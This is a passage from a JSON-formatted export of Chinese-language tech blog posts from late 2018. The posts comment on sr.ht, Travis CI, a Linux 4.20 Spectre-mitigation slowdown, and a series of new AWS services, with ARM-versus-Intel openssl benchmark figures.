    "body": "看到「<a href=\"https://drewdevault.com/2018/11/15/sr.ht-general-availability.html\">sr.ht, the hacker's forge, now open for public alpha</a>」這篇，講 <a href=\"https://sr.ht/\">sr.ht</a> 這個 Git Hosting。\r\n\r\n文章裡面有提到，目前大多數的 Git Hosting 都很像，不管是 <a href=\"https://bitbucket.org/\">Bitbucket</a>、<a href=\"https://gitlab.com/\">GitLab</a>、其實大家都是抄 <a href=\"https://github.com/\">GitHub</a> 的界面與功能抄得很開心...\r\n\r\nsr.ht 則是從不同的角度來設計 Git Hosting，避免了大量 js 的界面，但還是提供了很豐富的功能 (支援 markdown 文件、CI、透過 mailing list 討論、有一個 ticket system 可以放各種事項、wiki、...)。\r\n\r\n其實還是支援了現在 Git Hosting 常見的功能，只是功能與界面上不太相同而已 XD",
    "title": "走不同方向的 Git Hosting：sr.ht"
  },
  {
    "id": "8572",
    "body": "昨天講到 <a href=\"https://www.udacity.com/\">Udacity</a> 把 credential 放到 git repository 裡的方式 (參考「<a href=\"https://blog.gslin.org/archives/2018/11/17/8568/udacity-%E7%AE%A1%E7%90%86-credential-%E7%9A%84%E6%96%B9%E5%BC%8F/\">Udacity 管理 credential 的方式...</a>」這篇)，結果就看到另外一篇講當外洩時降低傷害的文章：「<a href=\"https://github.com/GitGuardian/APISecurityBestPractices/blob/master/Leak%20Mitigation%20Checklist.md\">Leak Mitigation Checklist</a>」。\r\n\r\n裡面講的方法沒什麼特別的 (倒是花了不少篇幅在介紹各家的 credential 要怎麼重生)，畢竟這是一份 checklist，只是要確保最低標準的步驟都應該要確認有做。\r\n\r\n不過這兩篇放在一起看還蠻有趣的...",
    "title": "當 credential 外洩時的處理方式..."
  },
  {
    "id": "8573",
    "body": "看到「<a href=\"https://www.phoronix.com/scan.php?page=article&amp;item=linux-420-bisect\">Bisected: The Unfortunate Reason Linux 4.20 Is Running Slower</a>」這篇測試了目前還在 RC 的 4.20.0，可以看到 <a href=\"https://www.amd.com/\">AMD</a> 的效能沒有太大影響，但 <a href=\"https://www.intel.com/\">Intel</a> i9 的效能掉了很嚴重：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/gIcmPTJ.webp\" /><img src=\"https://i.gslin.com/imgur/gIcmPTJ.jpg\" alt=\"\" /></picture>\r\n\r\n從說明可以看到有測出 30%～50%：\r\n\r\n<blockquote>This ranged from Rodinia scientific OpenMP tests taking 30% longer to Java-based DaCapo tests taking up to ~50% more time to complete to code compilation tests taking measurably longer to lower PostgreSQL database server performance to longer Blender3D rendering times.</blockquote>\r\n\r\n另外在其他 Intel CPU 上測試也發現不是只有 i9 有影響，低階的機器也是：\r\n\r\n<blockquote>Those affected systems weren't high-end HEDT boxes but included a low-end Core i3 7100 as well as a Xeon E5 v3 and Core i7 systems.</blockquote>\r\n\r\n透過 bisect 有找到是哪個 commit 造成的：\r\n\r\n<blockquote>That change is \"STIBP\" for cross-hyperthread Spectre mitigation on Intel processors. STIBP is the Single Thread Indirect Branch Predictors (STIBP) allows for preventing cross-hyperthread control of decisions that are made by indirect branch predictors.</blockquote>\r\n\r\n但這又是屬於 security patch，不太能關... 加上自從 <a href=\"https://en.wikipedia.org/wiki/Meltdown_(security_vulnerability)\">Meltdown</a> 與 <a href=\"https://en.wikipedia.org/wiki/Spectre_(security_vulnerability)\">Spectre</a> 後，讓安全研究人員發現了全新的天地，之後應該只會愈來愈慘 :o",
    "title": "Linux Kernel 4.20 修正了一卡車 Intel CPU bug，然後效能掉光了..."
  },
  {
    "id": "8574",
    "body": "看到「<a href=\"https://torrentfreak.com/netflix-dominates-internet-traffic-worldwide-bittorrent-ranks-fifth-181116/\">Netflix Dominates Internet Traffic Worldwide, BitTorrent Ranks Fifth</a>」這篇報導了 <a href=\"https://www.sandvine.com/\">Sandvine</a> 對全球網路流量的分析，主要是這張：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/TdC2d0t.webp\" /><img src=\"https://i.gslin.com/imgur/TdC2d0t.jpg\" alt=\"\" /></picture>\r\n\r\n大多數的應用都不算意外 (只是差在各地區的使用習慣)，但 AMERICAS 的第十名 (XBOX LIVE UPDATE) 跟 EMEA 的第七名 (PLAYSTATION DOWNLOAD) 是怎麼一回事 XDDD",
    "title": "Sandvine 對全球網路流量的分析，那兩個是怎麼上榜的..."
  },
  {
    "id": "8575",
    "body": "<a href=\"https://travis-ci.com/\">Travis CI</a> 宣佈了將目前 container-based 的環境轉移到 VM-based 的時程：「<a href=\"https://blog.travis-ci.com/2018-11-19-required-linux-infrastructure-migration\">Upcoming Required Linux Infrastructure Migration</a>」，裡面有提到十月初的時候的文章「<a href=\"https://blog.travis-ci.com/2018-11-19-required-linux-infrastructure-migration\">Combining The Linux Infrastructures</a>」。\r\n\r\n看起來是因為安全性的考慮，container-based 的環境必須在指定 <code>sudo: false</code> 的情境下才能使用。如果需要 root 權限一定會丟到 VM-based 的環境跑。現在看起來 Travis CI 不打算維護 container-based 環境了，所以整個轉移到 VM-based 的環境...\r\n\r\n另外一個方向應該是 <a href=\"https://www.google.com/\">Google</a> 之前提出來的 gVisor 專案 (參考「<a href=\"https://blog.gslin.org/archives/2018/05/04/8300/google-%E6%8E%A8%E5%87%BA-gvisor-%E5%BC%B7%E5%8C%96-container-%E7%9A%84%E5%AE%89%E5%85%A8%E6%80%A7/\">Google 推出 gVisor 強化 Container 的安全性</a>」)，不過看起來相容性又是個問題...",
    "title": "Travis CI 將轉移到 VM-based 環境"
  },
  {
    "id": "8576",
    "body": "先前是用「<a href=\"https://userstyles.org/styles/164607/gmail-old-2018-nov\">Gmail Old 2018 Nov</a>」撐著，後來在「<a href=\"https://github.com/shellscape/gmail-classic\">shellscape/gmail-classic</a>」這邊看到另外一組 css，看起來這組好一些... 拿作者的圖片：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/OcXCKVj.webp\" /><img src=\"https://i.gslin.com/imgur/OcXCKVj.jpg\" alt=\"\" /></picture>\r\n\r\n圓框與各種浮誇的 hover 效果都儘量關掉，用起來會好一些。",
    "title": "另外一套將新版 Gmail 介面改回舊版的 CSS"
  },
  {
    "id": "8577",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 對於 Hybrid Cloud (混合雲，通常是講與傳統機房的混搭應用，也就是雲端跟地端的混搭) 推出兩個功能，一個是讓 AWS 的 DNS Resolver 對於某些 domain 可以回機房端查詢 (雲端查詢地端 domain)。另外一種是反過來，讓機房端的 DNS Resolver 可以查 AWS 這邊的資料 (地端查詢雲端 domain)：「<a href=\"https://aws.amazon.com/blogs/aws/new-amazon-route-53-resolver-for-hybrid-clouds/\">New – Amazon Route 53 Resolver for Hybrid Clouds</a>」。\r\n\r\n兩者都可以自己幹，但就得花功夫自己架設，而且有很多細節得處理：\r\n\r\n<ul>\r\n\t<li>建立 EC2 instance，在上面跑 <a href=\"https://unbound.net/\">Unbound</a>，然後 EC2 instance 的 DNS servers 設定要指到這邊。</li>\r\n\t<li>由於 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 的 DHCP 服務沒有辦法指定發放的 IP range，所以為了多重意外而中獎 (關機的時候剛好有其他機器 DHCP 拿到這組 IP)，需要開獨立的 subnet 只放固定 IP 的服務。</li>\r\n\t<li>為了系統的穩定性，需要在兩個不同 AZ (或是三個) 架設這些 DNS Resolver，所以對應有兩個或是三個 subnet 得建立。</li>\r\n</ul>\r\n\r\n而地端到雲端通常會簡單一些，因為地端通常都已經有內部的 DNS Resolver 可以用，通常只需要在雲上面有 proxy 的角色就可以解決。\r\n\r\n不過現在這些 AWS 都直接提供了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/vDZbEAd.webp\" /><img src=\"https://i.gslin.com/imgur/vDZbEAd.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/p9y3W0c.webp\" /><img src=\"https://i.gslin.com/imgur/p9y3W0c.jpg\" alt=\"\" /></picture>\r\n\r\n常見的區域都可以用：\r\n\r\n<blockquote>Hybrid Cloud is available today in US East (N. Virginia), US East (Ohio), US West (Oregon), Europe (Ireland), Asia Pacific (Sydney), Asia Pacific (Tokyo) and Asia Pacific (Singapore), with other commercial regions to follow.</blockquote>\r\n\r\n費用的部分不算便宜 (跟自己弄三台 <code>t3.nano</code> 比起來)，但畢竟不需要自己管理，而且對於已經有機房的單位應該只是零頭而已：\r\n\r\n<blockquote>Route 53 Resolver remains free for DNS queries served within your VPC. Resolver Endpoints use Elastic Network Interfaces (ENIs) costing $0.125 per hour. DNS queries that are resolved by a Conditional Forwarding Rule or a Resolver Endpoint cost $0.40 per million queries up to the first billion and $0.20 per million after that.</blockquote>",
    "title": "AWS 允許 Hybrid Cloud 下的 DNS Query"
  },
  {
    "id": "8578",
    "body": "<a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 宣佈十年了，另外這次在東京又加節點了，變成 10 個：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/11/celebrating-the-10-year-anniversary-of-amazon-cloudfront-by-launching-six-new-edge-locations/\">Celebrating the 10 year anniversary of Amazon CloudFront by launching six new Edge locations</a>」。\r\n\r\n另外宣佈支援 WebSocket：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/11/amazon-cloudfront-announces-support-for-the-websocket-protocol/\">Amazon CloudFront announces support for the WebSocket protocol</a>」，以及支援 Origin Failover：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/11/amazon-cloudfront-announces-support-for-origin-failover/\">Amazon CloudFront announces support for Origin Failover</a>」。\r\n\r\nWebSocket 算是大家等蠻久的功能，大家主要是希望利用 CloudFront 擋 DDoS，正常流量才往後丟。而 Origin Failover 則是可以設定兩個 Origin，當主要的掛掉時可以切到備用的，對於支援多節點的架構算是第一步 (目前看起來只能設兩個)：\r\n\r\n<blockquote>With CloudFront’s Origin Failover capability, you can setup two origins for your distributions - primary and secondary, such that your content is served from your secondary origin if CloudFront detects that your primary origin is unavailable.</blockquote>\r\n\r\n都是隔壁棚 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 支援許久的功能... 算是補產品線與進度？",
    "title": "CloudFront 十週年、在東京的第十個 PoP，以及支援 WebSocket 與 Origin Failover"
  },
  {
    "id": "8579",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 在 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 上推出了用 machine learning 協助 auto scaling 控制的功能：「<a href=\"https://aws.amazon.com/blogs/aws/new-predictive-scaling-for-ec2-powered-by-machine-learning/\">New – Predictive Scaling for EC2, Powered by Machine Learning</a>」。\r\n\r\n最少給他一天的資料 (然後他會每天重新分析一次)，接著會預測接下來的 48 小時的使用行為：\r\n\r\n<blockquote>The model needs at least one day’s of historical data to start making predictions; it is re-evaluated every 24 hours to create a forecast for the next 48 hours.</blockquote>\r\n\r\n所以是個學 pattern 然後預先開好機制等著的概念...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/PVTdkvc.webp\" /><img src=\"https://i.gslin.com/imgur/PVTdkvc.jpg\" alt=\"\" /></picture>\r\n\r\n透過預測增加服務穩定性的概念... 如果本來就跑得好好的 (也就是靠 resource-based metric 觸發機器數量的方式跑得很好)，就未必需要考慮這個方案了。\r\n\r\n目前支援的區域中，東京不在列表內，不過其他常見的區域都支援了：\r\n\r\n<blockquote>Predictive scaling is available now and you can starting using it today in the US East (N. Virginia), US East (Ohio), US West (Oregon), Europe (Ireland), and Asia Pacific (Singapore) Regions.</blockquote>",
    "title": "EC2 推出用 machine learning 協助 auto scaling 控制的功能..."
  },
  {
    "id": "8581",
    "body": "看到 <a href=\"https://github.com/wagoodman/dive\">wagoodman/dive</a> 這個工具，只要給 <a href=\"https://www.docker.com/\">Docker</a> 的 image 與 tag 資訊，就可以看每一層裡面的內容：\r\n\r\n<img src=\"https://i.gslin.com/imgur/76lSA6r.gif\" alt=\"\" />\r\n\r\n安裝上也有提供各平台的套件包 (deb、rpm 之類的)。操作的熱鍵在首頁的下方也有提供，用起來很方便。",
    "title": "用 Dive 看 Docker Image 裡面每一層的內容"
  },
  {
    "id": "8582",
    "body": "<a href=\"https://aws.amazon.com/\">Amazon</a> 居然推出對 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 的 <a href=\"https://en.wikipedia.org/wiki/SSH_File_Transfer_Protocol\">SFTP</a> 服務了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/11/aws-transfer-for-sftp-fully-managed-sftp-for-s3/\">Introducing AWS Transfer for SFTP, a Fully Managed SFTP Service for Amazon S3</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/8k17OsQ.webp\" /><img src=\"https://i.gslin.com/imgur/8k17OsQ.jpg\" alt=\"\" /></picture>\r\n\r\n這個服務是掛在 AWS Transfer 的名義下 (<a href=\"https://aws.amazon.com/sftp/\">AWS Transfer for SFTP</a>)，這對老系統來說可以省一些事情，不過目前還不支援固定 IP，這樣不太能直接搬上去 (這種老系統常常都是用 IP firewall 擋著)：\r\n\r\n<blockquote>Q: Can I use fixed IP addresses to access the SFTP server endpoint?\r\nA: No. Fixed IP addresses that are usually used for firewall whitelisting purposes are currently not supported.</blockquote>\r\n\r\n另外認證的部份看起來已經包括了常用的認證：\r\n\r\n<blockquote>Q: Which compliance programs does AWS SFTP support?\r\nA: AWS SFTP is PCI-DSS and GDPR compliant, and HIPAA eligible.</blockquote>\r\n\r\n不過第一次的 SSH key 部份要怎麼取得啊... 有支援 <a href=\"https://en.wikipedia.org/wiki/SSHFP\">SSHFP</a> 嗎？\r\n\r\n支援的區域蠻多的，對台灣使用常見的區域都有在第一波的清單內：\r\n\r\n<blockquote>AWS SFTP is available in AWS Regions worldwide including US East (N. Virginia, Ohio), US West (Oregon, N. California), Canada (Central), Europe (Ireland, Paris, Frankfurt, London), and Asia Pacific (Tokyo, Singapore, Sydney, Seoul).</blockquote>\r\n\r\n最後是價錢，上傳與下傳都要另外收費 (USD$0.04/GB)，另外服務本身的 endpoint 也要收費 (USD$0.3/hour，一個月大約會是 $216)，跟自己弄比起來好像不怎麼便宜，目前看起來主要是整合了 <a href=\"https://aws.amazon.com/iam/\">IAM</a> 與其他機制... 不過這就是賣服務，看自己取捨就是了 :o",
    "title": "Amazon S3 推出 SFTP"
  },
  {
    "id": "8583",
    "body": "<a href=\"https://aws.amazon.com/efs/\">Amazon EFS</a> 也要推出 IA (Infrequent Access) 版本了，Infrequent Access 指的是不常存取的資料：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/11/coming-soon-amazon-efs-infrequent-access-storage-class/\">Coming Soon – Amazon EFS Infrequent Access Storage Class</a>」。\r\n\r\n這剛好配合上很多人拿 Amazon EFS 來堆 log 的行為... <a href=\"https://aws.amazon.com/\">AWS</a> 是說有機會到省到 85%，不過應該是非常大的量才有機會有這個價錢？\r\n\r\n<blockquote>EFS IA reduces storage costs for files not accessed every day, with savings up to 85% compared to the EFS Standard storage class. </blockquote>\r\n\r\n其實用過 Amazon EFS 的人都對效能抱怨頗嚴重 (透過 NFS 有太多操作沒辦法 cache，於是 network latency issue 就出現了)，堆 log 或是當作跨機器的空間大概是目前的主流用法...",
    "title": "Amazon EFS 也要推出 IA 版本了 (Infrequent Access)"
  },
  {
    "id": "8584",
    "body": "<a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 推出了新的 Storage Class，後面直接用演算法分析 access pattern (所以要跑一陣子才會生效)，然後決定要放到 Standard 或是 Standard IA 裡：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/11/s3-intelligent-tiering/\">Announcing S3 Intelligent-Tiering — a New Amazon S3 Storage Class</a>」。\r\n\r\n混了 Standard 與 Standard IA：\r\n\r\n<blockquote>S3 Intelligent-Tiering stores objects in two access tiers: one tier that is optimized for frequent access and another lower-cost tier that is optimized for infrequent access.</blockquote>\r\n\r\n然後連續 30 天沒有被存取的就會被丟到 Standard IA，如果有被存取的話就會被搬回來，而搬移的部份不用收費：\r\n\r\n<blockquote>For a small monthly monitoring and automation fee per object, S3 Intelligent-Tiering monitors access patterns and moves objects that have not been accessed for 30 consecutive days to the infrequent access tier. There are no retrieval fees in S3 Intelligent-Tiering. If an object in the infrequent access tier is accessed later, it is automatically moved back to the frequent access tier. No additional tiering fees apply when objects are moved between access tiers within the S3 Intelligent-Tiering storage class.</blockquote>\r\n\r\n從費用上可以看到演算法本身是有費用的，換算一下 1M objects 是 USD$2.5/month，好像還可以...\r\n\r\n<blockquote>Monitoring and Automation, All storage / Month\t$0.0025 per 1,000 objects</blockquote>\r\n\r\n不過有蠻多要注意的 pattern。像是這邊有提到 128KB 以下的檔案不會搬到 IA 上，但不知道算不算 Monitoring 的費用？\r\n\r\n<blockquote>S3 Intelligent-Tiering has a minimum eligible object size of 128KB for auto-tiering. Smaller objects may be stored but will always be charged at the Frequent Access tier rates.</blockquote>\r\n\r\n另外這邊講 S3 Intelligent-Tiering 的三十天也不知道是不是 Standard + Standard IA，或是分開算：\r\n\r\n<blockquote>S3 Intelligent-Tiering, S3 Standard-IA, and S3 One Zone-IA storage are charged for a minimum storage duration of 30 days.</blockquote>\r\n\r\n可以先觀望一下...",
    "title": "Amazon S3 推出了一個自動分析後分類的 Storage Class"
  },
  {
    "id": "8585",
    "body": "看到 <a href=\"https://aws.amazon.com/\">AWS</a> 推出使用 <a href=\"https://www.arm.com/\">ARM</a> 架構的 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> instance 了：「<a href=\"https://aws.amazon.com/blogs/aws/new-ec2-instances-a1-powered-by-arm-based-aws-graviton-processors/\">New – EC2 Instances (A1) Powered by Arm-Based AWS Graviton Processors</a>」。\r\n\r\n在 Quick Start 頁面有 <a href=\"http://releases.ubuntu.com/18.04/\">Ubuntu 18.04</a> (ARM) 可以選，開起來後操作跟標準的 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 差不多... 連進去後 <code>uname -a</code> 可以看到是 aarch64：\r\n\r\n<pre>ubuntu@ip-172-30-2-207:~$ uname -a\r\nLinux ip-172-30-2-207 4.15.0-1028-aws #29+nutmeg8-Ubuntu SMP Tue Nov 20 02:59:41 UTC 2018 aarch64 aarch64 aarch64 GNU/Linux</pre>\r\n\r\n然後來看硬體規格，從最大台的 <code>a1.4xlarge</code> 來看是 16 vCPU + 32 GB RAM，定價是 $0.408/hr (這邊都拿 <code>us-east-1</code> 比較)。\r\n\r\n對照 General Purpose 的 <code>m5.4xlarge</code> 是 16 vCPU + 60 GB RAM，定價是 $0.768/hr。如果看記憶體比較接近的 <code>m5.2xlarge</code> 則是 8 vCPU + 31 GB RAM，定價是 $0.384/hr。\r\n\r\n對照 Compute Optimized 的 <code>c5.4xlarge</code> 是 16 vCPU + 68 GB RAM，定價是 $0.68/hr。\r\n\r\n實際跑一些測試，包括 md5、sha256 與 aes (最後 aes 這個通常都有硬體加速)，都用 <code>-mutli 16</code> 跑。\r\n\r\nARM 的 <code>a1.4xlarge</code>：\r\n\r\n<pre>type             16 bytes     64 bytes    256 bytes   1024 bytes   8192 bytes  16384 bytes\r\nmd5            1064103.21k  2484789.44k  4436178.60k  5521370.45k  5943380.65k  5963896.15k\r\nsha256         2059690.93k  5652827.82k 11792656.30k 16108863.15k 18086602.36k 18250851.29k</pre>\r\n\r\n<pre>type             16 bytes     64 bytes    256 bytes   1024 bytes   8192 bytes  16384 bytes\r\naes-128 cbc    1593981.48k  1723960.38k  1752940.20k  1767321.94k  1770212.01k  1768281.43k\r\naes-192 cbc    1400010.40k  1496414.83k  1516962.99k  1527643.82k  1529834.15k  1527563.26k\r\naes-256 cbc    1222067.79k  1296972.50k  1313348.18k  1321350.83k  1322947.93k  1321850.20k\r\nblowfish cbc   1384982.01k  1500548.63k  1529793.02k  1540091.22k  1540937.05k  1540767.74k</pre>\r\n\r\n<a href=\"https://www.intel.com/\">Intel</a> 的 <code>m5.4xlarge</code>：\r\n\r\n<pre>type             16 bytes     64 bytes    256 bytes   1024 bytes   8192 bytes  16384 bytes\r\nmd5            1370869.17k  3276978.66k  5929591.13k  7441276.93k  8026330.45k  8071796.05k\r\nsha256          592719.47k  1325135.04k  2506009.09k  3184234.50k  3455729.66k  3480365.74k</pre>\r\n\r\n<pre>type             16 bytes     64 bytes    256 bytes   1024 bytes   8192 bytes  16384 bytes\r\naes-128 cbc    1060996.96k  1121951.87k  1135376.21k  1141487.96k  1143270.06k  1143499.43k\r\naes-192 cbc     890438.97k   934047.98k   943446.44k   947576.49k   948857.51k   949026.82k\r\naes-256 cbc     768686.53k   800152.85k   806883.93k   809804.12k   810784.09k   810937.00k\r\nblowfish cbc   1735490.97k  1884059.78k  1923876.10k  1932711.94k  1934477.99k  1928680.79k</pre>\r\n\r\nIntel 的 <code>c5.4xlarge</code>：\r\n\r\n<pre>type             16 bytes     64 bytes    256 bytes   1024 bytes   8192 bytes  16384 bytes\r\nmd5            1501870.92k  3593434.20k  6503591.25k  8162811.90k  8804605.95k  8855147.86k\r\nsha256          650179.22k  1453635.18k  2749318.83k  3492912.13k  3791164.76k  3818105.51k</pre>\r\n\r\n<pre>type             16 bytes     64 bytes    256 bytes   1024 bytes   8192 bytes  16384 bytes\r\naes-128 cbc    1163898.98k  1230539.07k  1244414.63k  1252080.98k  1254110.55k  1254206.12k\r\naes-192 cbc     976610.23k  1024570.03k  1034886.66k  1039442.26k  1040872.79k  1041143.13k\r\naes-256 cbc     843184.42k   877695.30k   885125.46k   888408.06k   889503.74k   889766.83k\r\nblowfish cbc   1877162.34k  2056925.74k  2107008.26k  2119893.67k  2121979.22k  2115720.53k</pre>\r\n\r\n這些數字頗有趣的... 看起來 ARM 上面應該有對某些演算法加速，使得常見的情境會快很多。不過如果是其他應用的話看起來就會比較辛苦了... 目前就價錢來看未必有絕對的優勢，還是得看應用來決定。",
    "title": "EC2 推出 ARM 架構的機器..."
  },
  {
    "id": "8586",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出了 <a href=\"https://aws.amazon.com/global-accelerator/\">Global Accelerator</a>，利用 AWS 的網路加速：「<a href=\"https://aws.amazon.com/blogs/aws/new-aws-global-accelerator-for-availability-and-performance/\">New – AWS Global Accelerator for Availability and Performance</a>」。\r\n\r\n這個產品有點像是 <a href=\"https://cloud.google.com/\">GCP</a> 的 Premium Network 的概念，從名稱叫做 Data Transfer-Premium (DT-Premium) 也可以看出來這點。另外 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 也有類似的產品，叫做 <a href=\"https://www.cloudflare.com/products/cloudflare-spectrum/\">Spectrum</a>。\r\n\r\n使用者的連線會先進入最接近使用者的 AWS Edge，然後走 AWS 自己的網路到真正服務所在的 AWS 區域：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/yf8mruf.webp\" /><img src=\"https://i.gslin.com/imgur/yf8mruf.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/f62hky8.webp\" /><img src=\"https://i.gslin.com/imgur/f62hky8.jpg\" alt=\"\" /></picture>\r\n\r\nAWS 自家的 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 可以做類似的事情，但是 CloudFront 是 DNS-based service，而且只吃 HTTP 類的連線；這次推出的 Global Accelerator 則是 Anycast-based service，同時支援 TCP 與 UDP。\r\n\r\n目前的 edge 只有北美、歐洲與亞洲：\r\n\r\n<blockquote>AWS Global Accelerator is available in US East (N. Virginia), US East (Ohio), US West (Oregon), US West (N. California), Europe (Ireland), Europe (Frankfurt), Asia Pacific (Tokyo) and Asia Pacific (Singapore).</blockquote>\r\n\r\n這類服務通常也都可以擋下一些 DDoS 攻擊，畢竟是拿大水管在擋...",
    "title": "AWS 推出 Global Accelerator，用 AWS 的網路加速"
  },
  {
    "id": "8587",
    "body": "<a href=\"https://aws.amazon.com/s3/\">AWS</a> 推出了 <a href=\"https://docs.aws.amazon.com/AmazonS3/latest/dev/object-lock.html\">S3 Object Lock</a>，可以設定條件鎖住 <a href=\"https://aws.amazon.com/s3/\">S3</a> 上的 object，以保護資料不被刪除：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/11/s3-object-lock/\">AWS Announces Amazon S3 Object Lock in all AWS Regions</a>」。\r\n\r\n這個功能跟會計做帳的概念很像，也就是寫進去後就不能改，也不能刪除，保留一定時間後才移除掉：\r\n\r\n<blockquote>You can migrate workloads from existing write-once-read-many (WORM) systems into Amazon S3, and configure S3 Object Lock at the object- and bucket-levels to prevent object version deletions prior to pre-defined Retain Until Dates or Legal Hold Dates.</blockquote>\r\n\r\nAWS 提供有兩種模式，一個是 Governance mode，這個模式下可以設定某些 <a href=\"https://aws.amazon.com/iam/\">IAM</a> 權限可以移除 S3 Object Lock。另外一個是 Compliance mode，這個模式下連 root account 都不能刪除：\r\n\r\n<blockquote>S3 Object Lock can be configured in one of two modes. When deployed in Governance mode, AWS accounts with specific IAM permissions are able to remove object locks from objects. If you require stronger immutability to comply with regulations, you can use Compliance Mode. In Compliance Mode, the protection cannot be removed by any user, including the root account.</blockquote>",
    "title": "AWS 推出了 S3 Object Lock，保護資料被刪除的可能性"
  },
  {
    "id": "8588",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出 <a href=\"https://aws.amazon.com/transit-gateway/\">Transit Gateway</a>，讓多個 <a href=\"https://aws.amazon.com/\">AWS</a> 帳號之間的 routing 問題總算不用自己處理了：「<a href=\"https://aws.amazon.com/blogs/aws/new-use-an-aws-transit-gateway-to-simplify-your-network-architecture/\">New – Use an AWS Transit Gateway to Simplify Your Network Architecture</a>」。\r\n\r\n這個問題常出現在組織架構大一點的情境下：為了讓各單位自己付自己單位的帳，所以大家都建立了自己的 AWS 帳號。但內部還是有互相連線的需求，雖然把 IP range 都有切開，但還是得搞定彼此之間的 routing...\r\n\r\n之前 AWS 還做了「<a href=\"https://aws.amazon.com/answers/networking/aws-global-transit-network/\">AWS Global Transit Network</a>」這份說明，解釋要怎麼處理 routing，在說明裡官方當時還提供了不少在雲上面建立 router 的方案。像是其中一個方式是用 <a href=\"https://www.cisco.com/\">Cisco</a> 的方案做：「<a href=\"https://aws.amazon.com/blogs/aws/aws-solution-transit-vpc/\">AWS Solution – Transit VPC</a>」、「<a href=\"https://docs.aws.amazon.com/solutions/latest/cisco-based-transit-vpc/overview.html\">Overview - Transit Network VPC (Cisco CSR)</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/kuyTNU4.webp\" /><img src=\"https://i.gslin.com/imgur/kuyTNU4.jpg\" alt=\"\" /></picture>\r\n\r\n而現在則是可以直接用 AWS 的服務解決了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/8nEW3Wu.webp\" /><img src=\"https://i.gslin.com/imgur/8nEW3Wu.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote>You can attach up to 5000 VPCs to each gateway and each attachment can handle up to 50 Gbits/second of bursty traffic. You can attach your AWS VPN connections to a Transit Gateway today, with Direct Connect planned for early 2019.</blockquote>\r\n\r\n每個接點都要收租用費 (美國是 $0.05/hr，一個月大約 $36；日本是 $0.07/hr，一個月大約 $50.4)，另外流量要收 USD$0.02/GB，其實就是本來的 in + out 的費用 (在 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 同區的流量是要收 in + out 的費用的)。",
    "title": "AWS Transit Gateway：不用再自己處理多個 AWS 帳號之間的 routing 了"
  },
  {
    "id": "8589",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 放出來的 open source 專案 <a href=\"https://github.com/firecracker-microvm/firecracker\">Firecracker</a>，也就是在 AWS 內打造安裝的 container 環境所使用的技術：「<a href=\"https://aws.amazon.com/blogs/aws/firecracker-lightweight-virtualization-for-serverless-computing/\">Firecracker – Lightweight Virtualization for Serverless Computing</a>」。\r\n\r\n依照說明，看起來是利用 <a href=\"https://chromium.googlesource.com/chromiumos/platform/crosvm/\">crosvm</a> (<a href=\"https://en.wikipedia.org/wiki/Kernel-based_Virtual_Machine\">KVM</a>-based) 但讓他更輕，啟動 image 的時間更快，達到跟 container 類似的效果：\r\n\r\n<blockquote>High Performance – You can launch a microVM in as little as 125 ms today (and even faster in 2019), making it ideal for many types of workloads, including those that are transient or short-lived.</blockquote>\r\n\r\n<blockquote>Low Overhead – Firecracker consumes about 5 MiB of memory per microVM. You can run thousands of secure VMs with widely varying vCPU and memory configurations on the same instance.</blockquote>\r\n\r\n看起來有機會在自己機器上跑看看 (i.e. 非虛擬環境)？跑之前要注意目前只支援 <a href=\"https://www.intel.com/\">Intel</a> 的硬體：\r\n\r\n<blockquote>Firecracker currently supports Intel CPUs, with planned AMD and Arm support. Firecracker will also be integrated with popular container runtimes.</blockquote>",
    "title": "AWS 的 Firecracker 技術 (安全的 Container？)"
  },
  {
    "id": "8591",
